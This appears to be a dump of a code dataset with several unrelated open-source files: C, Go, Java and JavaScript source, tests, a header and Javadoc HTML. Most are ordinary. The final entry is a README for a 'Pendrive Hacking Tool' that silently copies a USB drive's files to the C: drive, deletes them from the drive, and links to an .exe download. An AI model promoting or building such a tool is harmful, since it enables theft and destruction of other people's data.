repo_name
stringlengths 5
89
| path
stringlengths 4
310
| size
stringlengths 1
7
| content
stringlengths 4
1.04M
| license
stringclasses 15
values |
---|---|---|---|---|
ChibiOS/ChibiOS | test/rt/source/test/rt_test_root.c | 4168 | /*
ChibiOS - Copyright (C) 2006..2018 Giovanni Di Sirio
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @mainpage Test Suite Specification
* Test suite for ChibiOS/RT. The purpose of this suite is to perform
* unit tests on the RT modules and to converge to 100% code coverage
* through successive improvements.
*
* <h2>Test Sequences</h2>
* - @subpage rt_test_sequence_001
* - @subpage rt_test_sequence_002
* - @subpage rt_test_sequence_003
* - @subpage rt_test_sequence_004
* - @subpage rt_test_sequence_005
* - @subpage rt_test_sequence_006
* - @subpage rt_test_sequence_007
* - @subpage rt_test_sequence_008
* - @subpage rt_test_sequence_009
* - @subpage rt_test_sequence_010
* - @subpage rt_test_sequence_011
* - @subpage rt_test_sequence_012
* .
*/
/**
* @file rt_test_root.c
* @brief Test Suite root structures code.
*/
#include "hal.h"
#include "rt_test_root.h"
#if !defined(__DOXYGEN__)
/*===========================================================================*/
/* Module exported variables. */
/*===========================================================================*/
/**
* @brief Array of test sequences.
*/
const testsequence_t * const rt_test_suite_array[] = {
&rt_test_sequence_001,
&rt_test_sequence_002,
&rt_test_sequence_003,
#if (CH_CFG_USE_TIMESTAMP == TRUE) || defined(__DOXYGEN__)
&rt_test_sequence_004,
#endif
&rt_test_sequence_005,
&rt_test_sequence_006,
#if (CH_CFG_USE_SEMAPHORES == TRUE) || defined(__DOXYGEN__)
&rt_test_sequence_007,
#endif
#if (CH_CFG_USE_MUTEXES == TRUE) || defined(__DOXYGEN__)
&rt_test_sequence_008,
#endif
#if (CH_CFG_USE_MESSAGES == TRUE) || defined(__DOXYGEN__)
&rt_test_sequence_009,
#endif
#if (CH_CFG_USE_EVENTS == TRUE) || defined(__DOXYGEN__)
&rt_test_sequence_010,
#endif
#if (CH_CFG_USE_DYNAMIC == TRUE) || defined(__DOXYGEN__)
&rt_test_sequence_011,
#endif
&rt_test_sequence_012,
NULL
};
/**
* @brief Test suite root structure.
*/
const testsuite_t rt_test_suite = {
"ChibiOS/RT Test Suite",
rt_test_suite_array
};
/*===========================================================================*/
/* Shared code. */
/*===========================================================================*/
/*
* Global test buffer holding 5 working areas.
*/
ALIGNED_VAR(PORT_WORKING_AREA_ALIGN) uint8_t test_buffer[WA_SIZE * 5];
/*
* Pointers to the spawned threads.
*/
thread_t *threads[MAX_THREADS];
/*
* Pointers to the working areas.
*/
void * ROMCONST wa[5] = {test_buffer + (WA_SIZE * 0),
test_buffer + (WA_SIZE * 1),
test_buffer + (WA_SIZE * 2),
test_buffer + (WA_SIZE * 3),
test_buffer + (WA_SIZE * 4)};
/*
* Sets a termination request in all the test-spawned threads.
*/
void test_terminate_threads(void) {
unsigned i;
for (i = 0; i < MAX_THREADS; i++)
if (threads[i])
chThdTerminate(threads[i]);
}
/*
* Waits for the completion of all the test-spawned threads.
*/
void test_wait_threads(void) {
unsigned i;
for (i = 0; i < MAX_THREADS; i++)
if (threads[i] != NULL) {
chThdWait(threads[i]);
threads[i] = NULL;
}
}
/*
* Delays execution until next system time tick.
*/
systime_t test_wait_tick(void) {
chThdSleep(1);
return chVTGetSystemTime();
}
#endif /* !defined(__DOXYGEN__) */
| gpl-3.0 |
DFEAGILEDEVOPS/MTC | admin/lib/errors/file-csv.js | 174 | 'use strict'
module.exports = {
noFile: 'Select a file to upload',
noCSVFile: 'Use a CSV file. See guidance for instructions.',
isNotReadable: 'File can\'t be read'
}
| gpl-3.0 |
gav5/picklerick | vm/instr/SUB.go | 727 | package instr
import (
"fmt"
"../ivm"
)
// SUB subtracts the contents of the two source registers into the destination register
type SUB struct {
args ivm.InstructionArgsArithmetic
}
// Execute runs the given SUB instruction
func (i SUB) Execute(ip ivm.InstructionProxy) {
source1 := ip.RegisterInt32(i.args.Source1)
source2 := ip.RegisterInt32(i.args.Source2)
ip.SetRegisterInt32(i.args.Destination, source1-source2)
}
// Assembly returns the representation in assembly language
func (i SUB) Assembly() string {
return fmt.Sprintf("SUB %s", i.args.ASM())
}
// MakeSUB makes a SUB instruction for the given args
func MakeSUB(args ivm.InstructionArgs) ivm.Instruction {
return SUB{args: args.ArithmeticFormat()}
}
| gpl-3.0 |
danielme-com/Spring-Data-JPA-Demo | src/test/java/com/danielme/demo/springdatajpa/test/CountryRepositoryTest.java | 6021 | package com.danielme.demo.springdatajpa.test;
import com.danielme.demo.springdatajpa.ApplicationContext;
import com.danielme.demo.springdatajpa.AuthenticationMockup;
import com.danielme.demo.springdatajpa.model.Confederation;
import com.danielme.demo.springdatajpa.model.Country;
import com.danielme.demo.springdatajpa.model.Pair;
import com.danielme.demo.springdatajpa.model.PairProjection;
import com.danielme.demo.springdatajpa.repository.CountryRepository;
import com.danielme.demo.springdatajpa.repository.specifications.CountrySpecifications;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.PageRequest;
import org.springframework.data.domain.Sort;
import org.springframework.test.context.ContextConfiguration;
import org.springframework.test.context.jdbc.Sql;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import javax.persistence.Tuple;
import java.util.Calendar;
import java.util.List;
import java.util.Optional;
import static org.junit.Assert.*;
@RunWith(SpringJUnit4ClassRunner.class)
//@ContextConfiguration("file:src/main/resources/applicationContext.xml")
@ContextConfiguration(classes = {ApplicationContext.class})
@Sql(scripts = {"/test.sql"})
public class CountryRepositoryTest {
private static final Long SPAIN_ID = 2L;
@Autowired
private CountryRepository countryRepository;
@Test
public void testExists() {
assertTrue(countryRepository.exists("Spain"));
}
@Test
public void testNotExists() {
assertFalse(countryRepository.exists("Italy"));
}
@Test
public void testPopulation() {
assertEquals(3, countryRepository.countByPopulationGreaterThan(45000000));
assertEquals(3, countryRepository.findByPopulationGreaterThan(45000000).size());
}
@Test
public void testName() {
Optional<Country> optCountry = countryRepository.findByName("Norway");
assertTrue(optCountry.isPresent());
assertEquals("Norway", optCountry.get().getName());
}
@Test
public void testFindByConfederation() {
List<Country> countries = countryRepository.findByConfederationName("CONMEBOL");
assertEquals(1, countries.size());
assertEquals("Colombia", countries.get(0).getName());
}
@Test
public void testNoName() {
assertFalse(countryRepository.findByName("France").isPresent());
}
@Test
public void testNamedQuery() {
assertTrue(countryRepository.byPopulationNamedQuery(115296767).isPresent());
}
@Test
public void testNamedNativeQuery() {
assertEquals(countryRepository.byPopulationNamedNativeQuery(115296767).getValue(), "Mexico");
}
@Test
public void testQuerysSortingAndPaging() {
Page<Country> page0 = countryRepository.findByNameWithQuery("%i%",
PageRequest.of(0, 2, Sort.by(Sort.Direction.ASC, "name")));
assertEquals(4, page0.getTotalElements());
assertEquals(2, page0.getTotalPages());
assertEquals("Colombia", page0.getContent().get(0).getName());
}
@Test
public void testUpdate() {
Calendar creation = countryRepository.findByName("Norway").get().getCreation();
assertEquals(5, countryRepository.updateCreation(Calendar.getInstance()));
assertTrue(countryRepository.findByName("Norway").get().getCreation().after(creation));
}
@Test
public void testDeleteByName() {
assertEquals(1, countryRepository.deleteByName("Norway"));
}
@Test
public void testRemoveById() {
assertEquals(1, countryRepository.removeById(SPAIN_ID));
}
@Test
public void testRemoveByIdWithQuery() {
assertEquals(1, countryRepository.deleteCountryById(SPAIN_ID));
}
@Test
public void testJpaCriteria() {
assertEquals("Mexico", countryRepository
.findOne(CountrySpecifications.searchByName("Mexico")).get().getName());
}
@Test
public void testProjectionConstructor() {
Pair pair = countryRepository.getPairById(SPAIN_ID);
assertEquals(SPAIN_ID, pair.getId());
assertEquals("Spain", pair.getValue());
}
@Test
public void testProjectionTuple() {
Tuple tuple = countryRepository.getTupleById(SPAIN_ID);
assertEquals(SPAIN_ID, tuple.get("ID"));
assertEquals("Spain", tuple.get("value"));
}
@Test
public void testProjectionInterface() {
PairProjection pair = countryRepository.getPairByIdInterface(SPAIN_ID);
assertEquals(SPAIN_ID, pair.getId());
assertEquals("Spain", pair.getValue());
}
@Test
public void testFindAllListNative() {
List<Country> countries = countryRepository.findAllNative();
assertEquals(5, countries.size());
}
@Test
public void testFindAllPageNative() {
Page<Country> page = countryRepository.findAllNative(PageRequest.of(0, 3, Sort.by(Sort.Direction.DESC, "name")));
assertEquals(5, page.getTotalElements());
assertEquals(2, page.getTotalPages());
}
@Test
public void testAudit() {
AuthenticationMockup.UserName = "dani";
Confederation confederation = new Confederation(3L, "CONMEBOL");
Country country = countryRepository.save(new Country("Bolivia", 10556105, confederation));
assertEquals(country.getCreateBy(), country.getLastModifiedBy());
assertEquals(country.getCreatedDate(), country.getLastModifiedDate());
AuthenticationMockup.UserName = "update";
country.setName("Estado Plurinacional de Bolivia");
country = countryRepository.save(country);
assertEquals(country.getLastModifiedBy(), AuthenticationMockup.UserName);
assertEquals(country.getCreateBy(), "dani");
assertNotEquals(country.getCreatedDate(), country.getLastModifiedDate());
}
}
| gpl-3.0 |
liu-shuai/item | README.md | 10 | item
====
| gpl-3.0 |
anselg/qarv | src/decoders/bayer/bayerbg12_packed.h | 1586 | /*
* QArv, a Qt interface to aravis.
* Copyright (C) 2012-2014 Jure Varlec <jure.varlec@ad-vega.si>
* Andrej Lajovic <andrej.lajovic@ad-vega.si>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef BAYERBG12_PACKED_H
#define BAYERBG12_PACKED_H
extern "C" {
#include <arv.h>
}
#include "api/qarvdecoder.h"
#include "decoders/bayer.h"
#include <QDataStream>
#include <opencv2/imgproc/imgproc.hpp>
// Some formats appeared only after aravis-0.2.0, so
// we check for their presence. The 12_PACKED formats
// were added individually.
namespace QArv {
class BayerBG12_PACKED : public QObject, public QArvPixelFormat
{
Q_OBJECT
Q_INTERFACES(QArvPixelFormat)
Q_PLUGIN_METADATA(IID "org.qt-project.Qt.QArvPixelFormat")
public:
ArvPixelFormat pixelFormat() { return ARV_PIXEL_FORMAT_BAYER_BG_12_PACKED; }
QArvDecoder* makeDecoder(QSize size)
{
return new BayerDecoder<ARV_PIXEL_FORMAT_BAYER_BG_12_PACKED>(size);
}
};
}
Q_IMPORT_PLUGIN(BayerBG12_PACKED)
#endif
| gpl-3.0 |
atrismen/mosais | doc/mosais/GUI/package-summary.html | 5982 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_79) on Sat Oct 03 10:10:32 EDT 2015 -->
<title>mosais.GUI</title>
<meta name="date" content="2015-10-03">
<link rel="stylesheet" type="text/css" href="../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="mosais.GUI";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../overview-summary.html">Overview</a></li>
<li class="navBarCell1Rev">Package</li>
<li>Class</li>
<li><a href="package-use.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../index-files/index-1.html">Index</a></li>
<li><a href="../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../mosais/distribution/package-summary.html">Prev Package</a></li>
<li><a href="../../mosais/image/package-summary.html">Next Package</a></li>
</ul>
<ul class="navList">
<li><a href="../../index.html?mosais/GUI/package-summary.html" target="_top">Frames</a></li>
<li><a href="package-summary.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="header">
<h1 title="Package" class="title">Package mosais.GUI</h1>
</div>
<div class="contentContainer">
<ul class="blockList">
<li class="blockList">
<table class="packageSummary" border="0" cellpadding="3" cellspacing="0" summary="Interface Summary table, listing interfaces, and an explanation">
<caption><span>Interface Summary</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Interface</th>
<th class="colLast" scope="col">Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><a href="../../mosais/GUI/GuiState.html" title="interface in mosais.GUI">GuiState</a></td>
<td class="colLast">
<div class="block">Represents the state of the GUI when different controls are selected</div>
</td>
</tr>
</tbody>
</table>
</li>
<li class="blockList">
<table class="packageSummary" border="0" cellpadding="3" cellspacing="0" summary="Class Summary table, listing classes, and an explanation">
<caption><span>Class Summary</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Class</th>
<th class="colLast" scope="col">Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><a href="../../mosais/GUI/AboutDialog.html" title="class in mosais.GUI">AboutDialog</a></td>
<td class="colLast">
<div class="block">The about dialog shown when the user clicks on the about menu item.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><a href="../../mosais/GUI/DrawPanel.html" title="class in mosais.GUI">DrawPanel</a></td>
<td class="colLast"> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><a href="../../mosais/GUI/HelpDialog.html" title="class in mosais.GUI">HelpDialog</a></td>
<td class="colLast">
<div class="block">The dialog displayed when calling the help function from the Mosais GUI.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><a href="../../mosais/GUI/MosaisGUI.html" title="class in mosais.GUI">MosaisGUI</a></td>
<td class="colLast">
<div class="block">The graphical interface to the mosais program
TODO: A cool effect can be created by reusing the same full image object from 1 run to the next, specifically
when going from a low density mosaic to a high density mosaic.</div>
</td>
</tr>
</tbody>
</table>
</li>
</ul>
</div>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../overview-summary.html">Overview</a></li>
<li class="navBarCell1Rev">Package</li>
<li>Class</li>
<li><a href="package-use.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../index-files/index-1.html">Index</a></li>
<li><a href="../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../mosais/distribution/package-summary.html">Prev Package</a></li>
<li><a href="../../mosais/image/package-summary.html">Next Package</a></li>
</ul>
<ul class="navList">
<li><a href="../../index.html?mosais/GUI/package-summary.html" target="_top">Frames</a></li>
<li><a href="package-summary.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| gpl-3.0 |
Joshua-Barclay/wcomponents | wcomponents-core/src/test/java/com/github/bordertech/wcomponents/FatalErrorPage_Test.java | 1809 | package com.github.bordertech.wcomponents;
import com.github.bordertech.wcomponents.servlet.WebXmlRenderContext;
import java.io.PrintWriter;
import java.io.StringWriter;
import junit.framework.Assert;
import org.junit.Test;
/**
* Unit tests for {@link FatalErrorPage}.
*
* @author Anthony O'Connor
* @since 1.0.0
*/
public class FatalErrorPage_Test extends AbstractWComponentTestCase {
@Test
public void testPaintComponentNotDeveloperFriendly() {
setActiveContext(createUIContext());
TestSampleException exception = new TestSampleException("sample exception only");
FatalErrorPage fatalErrPage = new FatalErrorPage(false, exception);
String correctMsg = fatalErrPage.getMessage();
StringWriter strWriter = new StringWriter();
PrintWriter writer = new PrintWriter(strWriter);
fatalErrPage.paintComponent(new WebXmlRenderContext(writer));
Assert.assertTrue("Should equal the contents of getMessage()", strWriter.toString().equals(
correctMsg + System.getProperty("line.separator")));
}
@Test
public void testPaintComponentDeveloperFriendly() {
setActiveContext(createUIContext());
TestSampleException exception = new TestSampleException("sample exception only");
FatalErrorPage fatalErrPage = new FatalErrorPage(true, exception);
String correctMsg = fatalErrPage.getMessage();
StringWriter strWriter = new StringWriter();
PrintWriter writer = new PrintWriter(strWriter);
fatalErrPage.paintComponent(new WebXmlRenderContext(writer));
String result = strWriter.toString();
Assert.assertTrue("should contain contents of getMessage()",
result.indexOf(correctMsg) != -1);
Assert.assertTrue("should contain the name of the Exception", result.indexOf(exception.
getClass().getName()) != -1);
}
}
| gpl-3.0 |
nishantt95/Pendrive-Hacking-Tool-using-Java | README.md | 579 | # Pendrive-Hacking-Tool-using-Java
Its a Pen Drive hacking tools which is written in Java. In java I have used the File Handling concept. In this tool first of all the software will detect the pendrive and then all the contents of a pendrive will be deleted and it will be stored to a particular location in C: Drive
As soon as you execute the file it will delete all the contents from the pendrive and will be copied to your local machine (C:Drive)
You can Download the .exe file <a href="https://drive.google.com/file/d/0B4ti6xW75GdlOWhiQjdCNk5XUzQ/view?usp=sharing">here</a>
| gpl-3.0 |